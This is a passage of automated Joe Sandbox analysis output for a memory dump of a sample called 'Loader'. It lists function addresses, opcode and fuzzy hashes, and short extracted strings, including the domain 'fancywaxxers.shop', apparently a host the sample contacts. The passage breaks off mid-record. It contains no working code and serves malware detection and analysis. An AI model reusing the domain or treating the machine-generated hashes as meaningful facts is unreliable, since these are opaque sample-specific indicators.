Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Loader.jbxd

Similarity

API ID: MetricsSystem
String ID:
API String ID: 4116985748-3916222277
Opcode ID: 5643bd0e6aecd2554f9e3b6d68bc6b264b28297daebd8fea55e192c69e66519e
Instruction ID: 6540d778efeaa480bd65b02ea75a31ebe7720a2386ffd2f0b102038c886136e6
Opcode Fuzzy Hash: 5643bd0e6aecd2554f9e3b6d68bc6b264b28297daebd8fea55e192c69e66519e
Instruction Fuzzy Hash: 9F5142B4E152189FDB40EFACD985A9DBBF0BB48300F11456DE498E7350D734A984CF96

Function 0042C4DC Relevance: 5.3, Strings: 4, Instructions: 301COMMON

Download Yara Rule

Strings

B, xrefs: 0042C862
n, xrefs: 0042C737
0, xrefs: 0042C802
a, xrefs: 0042C858

Memory Dump Source

Source File: 00000006.00000002.3526620683.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Loader.jbxd

Similarity

API ID:
String ID: a$0$B$n
API String ID: 0-3818108776
Opcode ID: 1c69455f04d2811836813bff9833e4a6b94c6bed12a3b97f74d6fa4f1ad27aeb
Instruction ID: e7c56962ba8225a85387d30c6bec73706584ce55073d75710ad8fdf09878406d
Opcode Fuzzy Hash: 1c69455f04d2811836813bff9833e4a6b94c6bed12a3b97f74d6fa4f1ad27aeb
Instruction Fuzzy Hash: 739117606083918BE329CB39949137FBBD19FD6304F28C95EE0E6C7392D67DC4468B1A

Function 00408FE0 Relevance: 5.3, Strings: 4, Instructions: 282COMMON

Download Yara Rule

Strings

i, xrefs: 004090FF
id, xrefs: 0040906B
<[, xrefs: 004090D7
Emok, xrefs: 00409063

Memory Dump Source

Source File: 00000006.00000002.3526620683.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Loader.jbxd

Similarity

API ID:
String ID: Emok$i$id$<[
API String ID: 0-1060111436
Opcode ID: 636fb2ef520e299609ad50eb69c40d69a44c248ab5f0bdc666fc395afe69f111
Instruction ID: e8a97748f47e1e087c5629266fca422ba662e75ab9ba7866f04a7d683378f64d
Opcode Fuzzy Hash: 636fb2ef520e299609ad50eb69c40d69a44c248ab5f0bdc666fc395afe69f111
Instruction Fuzzy Hash: FB71F76120C3869AD7158F29849176BFFE19F92244F0849BEE4D19B383D37DC90AC76A

Function 00425E30 Relevance: 5.2, Strings: 4, Instructions: 218COMMON

Download Yara Rule

Strings

}@, xrefs: 004266D2
W^, xrefs: 004266DD
hB, xrefs: 004268DC
BM, xrefs: 004266C7

Memory Dump Source

Source File: 00000006.00000002.3526620683.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Loader.jbxd

Similarity

API ID:
String ID: BM$W^$}@$hB
API String ID: 0-4066442446
Opcode ID: a157f5b3c626a1a5d0daf646665b0ad5072d5c35d623e62348dbbd496bcc1eb6
Instruction ID: c69e33b5b6b13f380ebef868bf9dca4fba0c0c52768e9ad94a65745328aeb4d7
Opcode Fuzzy Hash: a157f5b3c626a1a5d0daf646665b0ad5072d5c35d623e62348dbbd496bcc1eb6
Instruction Fuzzy Hash: C171D2B5A093908BD7309F24D812BABBAF1FF82314F44496DD0C99B352EB398505C79B

Function 0042AF8C Relevance: 5.2, Strings: 4, Instructions: 179COMMON

Download Yara Rule

Strings

7M#O, xrefs: 0042AFF8
N, xrefs: 0042AF97
i&^, xrefs: 0042B0F0
;IIl, xrefs: 0042B003

Memory Dump Source

Source File: 00000006.00000002.3526620683.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Loader.jbxd

Similarity

API ID:
String ID: 7M#O$;IIl$N$i&^
API String ID: 0-3252987326
Opcode ID: c61e4a4205846b215042cd9521015827774156e33b5298b1a2c466e5f44d66cc
Instruction ID: 4a631b84b0715eae3dedeb3f50365bf272b00adb39823d28b56c5b2865ac7ba7
Opcode Fuzzy Hash: c61e4a4205846b215042cd9521015827774156e33b5298b1a2c466e5f44d66cc
Instruction Fuzzy Hash: FF51467165C3E18BDB39CF34D8A47A7BBE1DB93305F188A6DC0D987241E7394405879A

Function 004207B0 Relevance: 4.2, Strings: 3, Instructions: 422COMMON

Download Yara Rule

Strings

[n$l, xrefs: 00420872
#j"h, xrefs: 0042087A
OL, xrefs: 00420953

Memory Dump Source

Source File: 00000006.00000002.3526620683.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Loader.jbxd

Similarity

API ID:
String ID: #j"h$OL$[n$l
API String ID: 0-2191688606
Opcode ID: b5de5bd3023d225af82c97e92825ad8f9608416ff810a54325b0155e8319950f
Instruction ID: 692cb52cecf86b0f81445490f2c7fde706d38ebd665239fbbccbf1d88a6e45c6
Opcode Fuzzy Hash: b5de5bd3023d225af82c97e92825ad8f9608416ff810a54325b0155e8319950f
Instruction Fuzzy Hash: 8EC102B16083208BC724CF25D85226BB7F1FFD1354F989A1DE8D65B391E7789801CB86

Function 00424690 Relevance: 4.1, Strings: 3, Instructions: 382COMMON

Download Yara Rule

Strings

$@2F, xrefs: 00424729
/XY^, xrefs: 00424737
2D7Z, xrefs: 00424730

Memory Dump Source

Source File: 00000006.00000002.3526620683.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Loader.jbxd

Similarity

API ID:
String ID: $@2F$/XY^$2D7Z
API String ID: 0-1638671356
Opcode ID: 6460bc4e16d0ceae79147165ac20fd9eb75ae5927cbb100790d34f15c0c1f791
Instruction ID: 3f2d989131493c16e15a014fbc23452fa0199cb327e821a6a5a554b8be085fb8
Opcode Fuzzy Hash: 6460bc4e16d0ceae79147165ac20fd9eb75ae5927cbb100790d34f15c0c1f791
Instruction Fuzzy Hash: 49C1E37AE00235CBCB24CF68E8905BEF3B2FF9A710B59815AD851AB355D7349C42CB94

Function 004082A0 Relevance: 4.1, Strings: 3, Instructions: 310COMMON

Download Yara Rule

Strings

4:;8, xrefs: 004083C0
-, xrefs: 00408524
-, xrefs: 004085ED

Memory Dump Source

Source File: 00000006.00000002.3526620683.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Loader.jbxd

Similarity

API ID:
String ID: -$-$4:;8
API String ID: 0-4057297499
Opcode ID: d37b3f3caa760090b3564b45e2708a532977c2e18a1fc6eeae55f7d2ee7df7f7
Instruction ID: 1bf2e4dc3e7ce12b69fe8b448ded2dbe0936cd98e3b574339779db5d0e5a783a
Opcode Fuzzy Hash: d37b3f3caa760090b3564b45e2708a532977c2e18a1fc6eeae55f7d2ee7df7f7
Instruction Fuzzy Hash: E7A12C72B047114BC718CE29CA5025FB7D2ABC5314F198A3EE8D6E73D5EA38DD064B89

Function 0041CA4D Relevance: 4.1, Strings: 3, Instructions: 305COMMON

Download Yara Rule

Strings

wt, xrefs: 0041CBC3
yWN, xrefs: 0041CDCE
}WN, xrefs: 0041CE34

Memory Dump Source

Source File: 00000006.00000002.3526620683.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Loader.jbxd

Similarity

API ID:
String ID: wt$yWN$}WN
API String ID: 0-1915940971
Opcode ID: 6bdd68040a2e2ae9852662caf2ee4ce4614f3b4cf4dce2968df87cbb5259b280
Instruction ID: 089daf89ee7f0db082fd9313e23fc6f3e6d0e13c11ce4ebe69625a081c295134
Opcode Fuzzy Hash: 6bdd68040a2e2ae9852662caf2ee4ce4614f3b4cf4dce2968df87cbb5259b280
Instruction Fuzzy Hash: 378104719483008BC315DF28D8916ABB7F1EFD1354F188A2DE4D68B391E7389949C79A

Function 0042C59E Relevance: 4.0, Strings: 3, Instructions: 287COMMON

Download Yara Rule

Strings

B, xrefs: 0042C862
n, xrefs: 0042C737
a, xrefs: 0042C858

Memory Dump Source

Source File: 00000006.00000002.3526620683.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Loader.jbxd

Similarity

API ID:
String ID: a$B$n
API String ID: 0-3014070278
Opcode ID: f1701767cb0356d0994a7c03961550b923cd1b588f9a6aff9983a49fcc703494
Instruction ID: 49841bc018301e16c077848ed4d211fc14ac0d053d7a76b001874c689b0c75d3
Opcode Fuzzy Hash: f1701767cb0356d0994a7c03961550b923cd1b588f9a6aff9983a49fcc703494
Instruction Fuzzy Hash: F1812B607087914BE3298B3994A137BBBD29FD6304F28D95EE0D687392D67DC4068B16

Function 0042C642 Relevance: 4.0, Strings: 3, Instructions: 256COMMON

Download Yara Rule

Strings

B, xrefs: 0042C862
n, xrefs: 0042C737
a, xrefs: 0042C858

Memory Dump Source

Source File: 00000006.00000002.3526620683.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Loader.jbxd

Similarity

API ID:
String ID: a$B$n
API String ID: 0-3014070278
Opcode ID: c96437ffd9268ad0ff8f0a1475bac5c27009e2e2cbb204feb9f937d36529813f
Instruction ID: 4aa6cdd8ae70eefb2bf7a67cdb70843991bbf1ea8783939d09c5b7daef4c1f10
Opcode Fuzzy Hash: c96437ffd9268ad0ff8f0a1475bac5c27009e2e2cbb204feb9f937d36529813f
Instruction Fuzzy Hash: FC614B606087914BD3298B3994A137BBFD29FD7304F2C895EE0E187392D67DC4068B1A

Function 0042AF49 Relevance: 3.9, Strings: 3, Instructions: 167COMMON

Download Yara Rule

Strings

7M#O, xrefs: 0042AFF8
i&^, xrefs: 0042B0F0
;IIl, xrefs: 0042B003

Memory Dump Source

Source File: 00000006.00000002.3526620683.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Loader.jbxd

Similarity

API ID:
String ID: 7M#O$;IIl$i&^
API String ID: 0-3185523662
Opcode ID: 34069afb0347a74477ad04a984a268cff8684b49854ef51d451906b44207a9e6
Instruction ID: 6444974f794a8428d10943ae3a2cddf0c3cfa6b6cd36afac276795c35f9e6a41
Opcode Fuzzy Hash: 34069afb0347a74477ad04a984a268cff8684b49854ef51d451906b44207a9e6
Instruction Fuzzy Hash: B241257061C3D18BD7398F3498647A7BBE0DF93305F18996DC0D98B241D7394406875B

Function 0041BEBE Relevance: 3.9, Strings: 3, Instructions: 139COMMON

Download Yara Rule

Strings

'b3, xrefs: 0041BF56
+b3, xrefs: 0041BF80
Sfgd, xrefs: 0041BF87, 0041C040

Memory Dump Source

Source File: 00000006.00000002.3526620683.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Loader.jbxd

Similarity

API ID:
String ID: 'b3$+b3$Sfgd
API String ID: 0-3891617458
Opcode ID: 7ffac7a282f90fc876f362e72916d8f450f66741c57a432dee5775e1900f54b4
Instruction ID: 010758c92db876e053e9612d3ae0437862503539a69f98fc056ac5463bccddf7
Opcode Fuzzy Hash: 7ffac7a282f90fc876f362e72916d8f450f66741c57a432dee5775e1900f54b4
Instruction Fuzzy Hash: 564127716093805BD7148F34EC917ABBFE29BD2314F58595DB1D1CB3C1C2B984468756

Function 00419612 Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 254COMMON

Download Yara Rule

Strings

|b, xrefs: 00419807

Memory Dump Source

Source File: 00000006.00000002.3526620683.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Loader.jbxd

Similarity

API ID:
String ID: |b
API String ID: 0-3243303498
Opcode ID: 7caf0db29139c641b50f00f3aab5da779ecf9885a3c08816b05e7dd811f086b8
Instruction ID: 05f5ef6facea21cb82f5acc030affcfdcc42ffba72c346cc67803f24ea77f2d3
Opcode Fuzzy Hash: 7caf0db29139c641b50f00f3aab5da779ecf9885a3c08816b05e7dd811f086b8
Instruction Fuzzy Hash: 69A1D275610712CFD724CF29C8D06A7B7F2FF9A320B14856EC89A8BB55D738A891CB14

Function 00417778 Relevance: 3.6, APIs: 2, Instructions: 593COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,?,00000000,00000000,?), ref: 00417A23
RtlExpandEnvironmentStrings.NTDLL(00000000,?,?,00000000,00000000,?), ref: 00417D87

Memory Dump Source

Source File: 00000006.00000002.3526620683.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Loader.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID:
API String ID: 237503144-0
Opcode ID: 622078f7da562363e446ea3e970d8b237016041d41d743a338e7a00e853970a0
Instruction ID: ec4e9609bf106e6f5cd8a470f3275a2f47c11ebd4f086a658abb49051a94d593
Opcode Fuzzy Hash: 622078f7da562363e446ea3e970d8b237016041d41d743a338e7a00e853970a0
Instruction Fuzzy Hash: FD1254716487028BC324CF29C8D16A3B3F2FF89710B29865ED4964F765D778B892CB94

Function 00426921 Relevance: 2.9, Strings: 2, Instructions: 377COMMON

Download Yara Rule

Strings

t, xrefs: 00426A5C
"kB, xrefs: 00426B0C

Memory Dump Source

Source File: 00000006.00000002.3526620683.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Loader.jbxd

Similarity

API ID:
String ID: "kB$t
API String ID: 0-1728843117
Opcode ID: cdde512ba4708586670250d8791409b53f330cb7032e7a92a45b48eba7e66bce
Instruction ID: 47c6aa30723dd5f274a344fa33dc3fc7f1f1c18c7e037d66fbdd50b943802691
Opcode Fuzzy Hash: cdde512ba4708586670250d8791409b53f330cb7032e7a92a45b48eba7e66bce
Instruction Fuzzy Hash: 7FC159B6A087258FC714CF29D85172BB7E1ABC5314F4A867DE8569B382DB34EC04C785

Function 0041682D Relevance: 2.8, Strings: 2, Instructions: 300COMMON

Download Yara Rule

Strings

iA, xrefs: 004169D3
kA, xrefs: 00416B10, 00416BD4

Memory Dump Source

Source File: 00000006.00000002.3526620683.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Loader.jbxd

Similarity

API ID:
String ID: kA$iA
API String ID: 0-13619556
Opcode ID: 7268e208af3af03dc4c1aa162b083f1da454d2121a82605a67f71c80f16feb18
Instruction ID: d1753e7b848df1d51992a2657fb609d95ddb37c92f3721196934cc3551250237
Opcode Fuzzy Hash: 7268e208af3af03dc4c1aa162b083f1da454d2121a82605a67f71c80f16feb18
Instruction Fuzzy Hash: 5881F374604B418FD3218F29C8917A3BBE1EF57314F1988ADD0968B362D739E882CB58

Function 0042ABC8 Relevance: 2.7, Strings: 2, Instructions: 167COMMON

Download Yara Rule

Strings

ranx, xrefs: 0042AC39
-Fjt, xrefs: 0042AC44

Memory Dump Source

Source File: 00000006.00000002.3526620683.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Loader.jbxd

Similarity

API ID:
String ID: -Fjt$ranx
API String ID: 0-3706853807
Opcode ID: 4f8fe68a00adccb6cdfe4be809a591fbed372a59942045499198af0bf16da8bc
Instruction ID: 24952530908f65497321946440fed833d77024a3e82a06578cd4427b5e6e1e38
Opcode Fuzzy Hash: 4f8fe68a00adccb6cdfe4be809a591fbed372a59942045499198af0bf16da8bc
Instruction Fuzzy Hash: 9E41E42460C3E04BDB3A8F3994603FBBFE19B97301F9859ADC4D99B686CB384105875B

Function 0042AB83 Relevance: 2.7, Strings: 2, Instructions: 161COMMON

Download Yara Rule

Strings

ranx, xrefs: 0042AC39
-Fjt, xrefs: 0042AC44

Memory Dump Source

Source File: 00000006.00000002.3526620683.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Loader.jbxd

Similarity

API ID:
String ID: -Fjt$ranx
API String ID: 0-3706853807
Opcode ID: a80aa053ab455487de130884ea2b8acc1ee1e1da66588ba42998374e5e4f1ec8
Instruction ID: 472c3e6aea44b2ae6de83ff281cb0e7241e96f3d355f0238d3ce23440a49d637
Opcode Fuzzy Hash: a80aa053ab455487de130884ea2b8acc1ee1e1da66588ba42998374e5e4f1ec8
Instruction Fuzzy Hash: 1641E52450D3E04BD73A8F3694603FBBBE29B97300F9855EDC4DA9B286CB384505875B

Function 0042AB36 Relevance: 2.6, Strings: 2, Instructions: 118COMMON

Download Yara Rule

Strings

ranx, xrefs: 0042AC39
-Fjt, xrefs: 0042AC44

Memory Dump Source

Source File: 00000006.00000002.3526620683.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Loader.jbxd

Similarity

API ID:
String ID: -Fjt$ranx
API String ID: 0-3706853807
Opcode ID: c7d768e7c4b6b7a0381b46c6372e41e19c89c5568f0ddac61edabaf0c55406ad
Instruction ID: fb358834279bd8eddcd78f03b7afd8e35b8a2d174f1375a2efeb29d4e8d599a3
Opcode Fuzzy Hash: c7d768e7c4b6b7a0381b46c6372e41e19c89c5568f0ddac61edabaf0c55406ad
Instruction Fuzzy Hash: 7D31BE3460C7E04BDB3A8F3990647FBBBE19B97300F8859ADC4C99B286CB384105875B

Function 004222D9 Relevance: 2.2, Strings: 1, Instructions: 918COMMON

Download Yara Rule

Strings

fancywaxxers.shop, xrefs: 004226AC

Memory Dump Source

Source File: 00000006.00000002.3526620683.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Loader.jbxd

Similarity

API ID:
String ID: fancywaxxers.shop
API String ID: 0-444537838
Opcode ID: e203da8322157a9b3956b29bd662beb12299b207ee357b6b575edbf40509aee7
Instruction ID: dafd18983c516955866d33b4970a3e1e6c9f0e3e02dd9dad57416d2a7bd3f698
Opcode Fuzzy Hash: e203da8322157a9b3956b29bd662beb12299b207ee357b6b575edbf40509aee7
Instruction Fuzzy Hash: C1620475A00211DFDB14CF68E89076EBBB1FF8A314F2985A8D851AB385D739DC42CB94

Function 0043AF80 Relevance: 1.9, Strings: 1, Instructions: 662COMMON

Download Yara Rule

Strings

f, xrefs: 0043B201

Memory Dump Source

Source File: 00000006.00000002.3526620683.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Loader.jbxd

Similarity

API ID: InitializeThunk
String ID: f
API String ID: 2994545307-1993550816
Opcode ID: f4361a5e05927ae4e0df808eb1b642d6f5767c4dfe251d9b1f2289b89ea06719
Instruction ID: c33d86b22e1400fff916a03cdee2221440874a16c3fbb5b38faa73608c97bcf9
Opcode Fuzzy Hash: f4361a5e05927ae4e0df808eb1b642d6f5767c4dfe251d9b1f2289b89ea06719
Instruction Fuzzy Hash: 412203756083518FD714CF14C890B2BBBE1EBC9318F249A6DE6D19B392DB34DC068B96

Function 00429BC0 Relevance: 1.7, Strings: 1, Instructions: 405COMMON

Download Yara Rule

Strings

", xrefs: 00429EBF

Memory Dump Source

Source File: 00000006.00000002.3526620683.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Loader.jbxd

Similarity

API ID:
String ID: "
API String ID: 0-123907689
Opcode ID: 90733bcd458bcf252aae366c99aa490be20388b351ed62b1cec3ea6397516193
Instruction ID: a3c633c92631b29df2efd19671c2f159069926fcaeca37eed059615b3ca2587d
Opcode Fuzzy Hash: 90733bcd458bcf252aae366c99aa490be20388b351ed62b1cec3ea6397516193
Instruction Fuzzy Hash: 16C137B2B083215BD714CE25E490B6BB7D9AB80314F99852FE8958B381D73CDC45C786

Function 0042A960 Relevance: 1.4, Strings: 1, Instructions: 187COMMON

Download Yara Rule

Strings

Dp;3, xrefs: 0042A976

Memory Dump Source

Source File: 00000006.00000002.3526620683.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Loader.jbxd

Similarity

API ID:
String ID: Dp;3
API String ID: 0-3802265096
Opcode ID: 62bef077b4a7ad9e374660af09ab2e7b5df4ce128b8c67e5d6b41e11b301da58
Instruction ID: a4dd3258917c1a95df17782d86d4cc0690ee59a16ad6037e4107dddc21cf1de1
Opcode Fuzzy Hash: 62bef077b4a7ad9e374660af09ab2e7b5df4ce128b8c67e5d6b41e11b301da58
Instruction Fuzzy Hash: 27417B6960D3E09BD7328F2699A13A77FE0AF53304F58459EE8D60F342C6390805CB47

Function 0043CB80 Relevance: 1.4, Strings: 1, Instructions: 113COMMON

Download Yara Rule

Strings

D]+\, xrefs: 0043CC20

Memory Dump Source

Source File: 00000006.00000002.3526620683.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Loader.jbxd

Similarity

API ID:
String ID: D]+\
API String ID: 0-1174097187
Opcode ID: cc300d77c422ace61d4dd7053792f1d8f38841c0bf0979bc824747d0769fed66
Instruction ID: 8f8c42cdc26bdad118407bd0d98e6ed8b9cc0277e4995d14ea8303c8ad09f1f6
Opcode Fuzzy Hash: cc300d77c422ace61d4dd7053792f1d8f38841c0bf0979bc824747d0769fed66
Instruction Fuzzy Hash: 453109756082504FD718DF28E4E157B77D2EB9B314F29A53DC1D2A7362DB38A8078709

Function 0043E2F0 Relevance: 1.3, Strings: 1, Instructions: 90COMMON

Download Yara Rule

Strings

@, xrefs: 0043E340

Memory Dump Source

Source File: 00000006.00000002.3526620683.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Loader.jbxd

Similarity

API ID: InitializeThunk
String ID: @
API String ID: 2994545307-2766056989
Opcode ID: 81f9ae2914819c9c6a4410cae77277031c58655e59832871c0f1fadb17f4dbf4
Instruction ID: ca9191f9888936783b5f0eccb76d409f6ca614e4fe7f5753b4ce0656cf767deb
Opcode Fuzzy Hash: 81f9ae2914819c9c6a4410cae77277031c58655e59832871c0f1fadb17f4dbf4
Instruction Fuzzy Hash: 7021D0759093009FD300DF29D880B6BB7F5EFCA324F15A92DE98887391D37598458B6A

Function 0043CB75 Relevance: 1.3, Strings: 1, Instructions: 82COMMON

Download Yara Rule

Strings

D]+\, xrefs: 0043CC20

Memory Dump Source

Source File: 00000006.00000002.3526620683.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Loader.jbxd

Similarity

API ID:
String ID: D]+\
API String ID: 0-1174097187
Opcode ID: 4aac1d872fe0a31d056a86b1e952031f914278e7a716198897039617ffadf456
Instruction ID: db133fbd9df054914d5c69314d1d642f36b626c8333fb52ef00424c154900c12
Opcode Fuzzy Hash: 4aac1d872fe0a31d056a86b1e952031f914278e7a716198897039617ffadf456
Instruction Fuzzy Hash: 8E1196786082518FD758DF18E4E153B77A2EB9B314F24A63DC59267352DB39A803CB0D

Function 0041C07E Relevance: 1.3, Strings: 1, Instructions: 50COMMON

Download Yara Rule

Strings

XQ8x, xrefs: 0041C110

Memory Dump Source

Source File: 00000006.00000002.3526620683.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Loader.jbxd

Similarity

API ID:
String ID: XQ8x
API String ID: 0-197327139
Opcode ID: 5da76e0350450f83c8c078b5943be188d79dc2c951275914ccfebef2adf8ee52
Instruction ID: 9c2af5fd4b9cf7f25f4acdf8297bbeb475532b051bf47ed240600f127e256e41
Opcode Fuzzy Hash: 5da76e0350450f83c8c078b5943be188d79dc2c951275914ccfebef2adf8ee52
Instruction Fuzzy Hash: F911AD302083818ADB04CF3898647BBBFE29B87314F596D6DE0D2972D2C739C6458B5A

Function 0043C40A Relevance: 1.3, Strings: 1, Instructions: 47COMMON

Download Yara Rule

Strings

vuvw, xrefs: 0043C469

Memory Dump Source

Source File: 00000006.00000002.3526620683.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Loader.jbxd

Similarity

API ID:
String ID: vuvw
API String ID: 0-2318315528
Opcode ID: 6a7389962629d418bac17aa10ac7f3b44be1de6f7ac03bf822bf71bb63e337b6
Instruction ID: 7b8d81f586c8c5d18aa4adc5cb2c574870acd49ceab22145c3efc2afe8c16204
Opcode Fuzzy Hash: 6a7389962629d418bac17aa10ac7f3b44be1de6f7ac03bf822bf71bb63e337b6
Instruction Fuzzy Hash: 10012636F687114FC3088B38DC8512AA6D3A7C5214F08E57EAA91D7359DD38CC028748

Function 00407400 Relevance: .6, Instructions: 625COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3526620683.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eda36f71eba9765271182112f1f3655c34cc5f944bc2088baf291ead026e868a
Instruction ID: b9bab592eefbaf0617e858a3476857c393d6668e6cf7162cb5b7fb8d5f027c76
Opcode Fuzzy Hash: eda36f71eba9765271182112f1f3655c34cc5f944bc2088baf291ead026e868a
Instruction Fuzzy Hash: 6C22A371A087118BC725DE18D9806ABB3E1BFC4319F19893ED9C6A7385D738B851CB87

Function 004058A0 Relevance: .4, Instructions: 449COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3526620683.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5ffa6d6d865be4018f470b13d09fec5e7fd03df750cb331b1b1c991303f8594d
Instruction ID: 73ccf1c197bf7d9fa2a33f8f6a4c8263e1d0733264a234c266ccdc27ce0caf72
Opcode Fuzzy Hash: 5ffa6d6d865be4018f470b13d09fec5e7fd03df750cb331b1b1c991303f8594d
Instruction Fuzzy Hash: 55F1BD356087418FD724CF29C88166BFBE2EFD9304F08882EE4D997791E679E844CB56

Function 00421BE0 Relevance: .4, Instructions: 421COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3526620683.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 89470cc0488940d690c1fe22c8f68dfd250df9e455205defc72c590a53a5da83
Instruction ID: a83a41a963a6087e1863f409596edc8868cfe9bc78d8d441ca2cde7b89386531
Opcode Fuzzy Hash: 89470cc0488940d690c1fe22c8f68dfd250df9e455205defc72c590a53a5da83
Instruction Fuzzy Hash: 8DB14B71B043205BD7149F25E85277BB3F1EFA1354F59842EE882973A2E73CE905835A

Function 00428725 Relevance: .3, Instructions: 323COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3526620683.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d2abbd47a2f5b46d84b4e232694b56d94e266da60a63c4d967c6ce50deaf8ef
Instruction ID: 061b8768e78af104e4c17117a36872e92cb38c42b018d8582a1e6b1f3054508f
Opcode Fuzzy Hash: 8d2abbd47a2f5b46d84b4e232694b56d94e266da60a63c4d967c6ce50deaf8ef
Instruction Fuzzy Hash: AFA113B0D052658FCF10CFA4E8815AFBBB1FF16304F54056EE456AB352EB38A805CB59

Function 004218B0 Relevance: .3, Instructions: 295COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3526620683.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7cc6b9cbe92ab5099cec445c1032d4262162b57b9cc9ca0a5e45d7cc3fa393de
Instruction ID: 3ac1cb7e4bcadc193ca211ae18b9f33e40175b25ff917a59ebe0d42e1ff068f3
Opcode Fuzzy Hash: 7cc6b9cbe92ab5099cec445c1032d4262162b57b9cc9ca0a5e45d7cc3fa393de
